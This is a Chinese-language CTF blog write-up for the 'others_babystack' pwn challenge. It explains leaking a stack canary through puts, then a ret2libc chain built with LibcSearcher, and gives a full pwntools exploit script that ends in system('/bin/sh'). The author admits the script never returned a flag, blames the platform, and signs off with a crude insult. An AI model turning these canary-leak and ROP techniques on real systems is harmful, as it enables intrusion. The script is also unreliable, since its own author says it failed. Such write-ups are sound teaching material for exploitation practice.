二战canary我的脚本和网上脚本都得不到flag但我觉得是平台的锅——others_babystack

基本信息

 

 ida:

 

 明显的栈溢出,但是由于开启canary所以要先泄露canary

通过read函数覆盖到ebp-8,canary的最低字节为\x00,但是puts遇到\x00停止,所以覆盖为\n

然后通过LibcSearcher得到libc版本

这里由于while循环所以要返回一个main创一个新栈再退出从而执行到写入的函数

理论上这样就行了,但是我的脚本和网上的都不行,但我觉得我写的无懈可击

这题绝对是平台的锅,直接下一位

再您妈的见

exp:

from pwn import *
from LibcSearcher import *
context.log_level='debug'

#r=remote('node3.buuoj.cn',25286)
r=process('./babystack')
ret=0x040067e
pop_rdi=0x0000000000400a93
elf=ELF('./babystack')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=0x400908


r.sendlineafter('>>','1')
r.sendline('a'*(0x90-0x8))
r.sendlineafter('>>','2')
r.recvuntil('a\n')
canary=u64(r.recv(7).rjust(8,'\x00'))
print('[+]canary: ',hex(canary))


payload='a'*(0x90-0x8)+p64(canary)+'b'*0x8
payload+=p64(ret)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendlineafter('>>','1')
r.sendline(payload)
r.sendlineafter('>>','3')
r.recv()

puts_addr=u64(r.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')

payload='a'*(0x90-0x8)+p64(canary)+'b'*0x8
payload+=p64(ret)+p64(pop_rdi)+p64(bin_addr)+p64(system_addr)
r.sendlineafter('>>','1')
r.sendline(payload)
r.sendlineafter('>>','3')
r.interactive()

ps:1)得到canary要右对齐

  2)只有这个函数正确结束后才能执行溢出的函数

  3)canary的最低位为0

 

posted @ 2021-04-13 15:23  Haokunnnnnnnna  阅读(117)  评论(0编辑  收藏  举报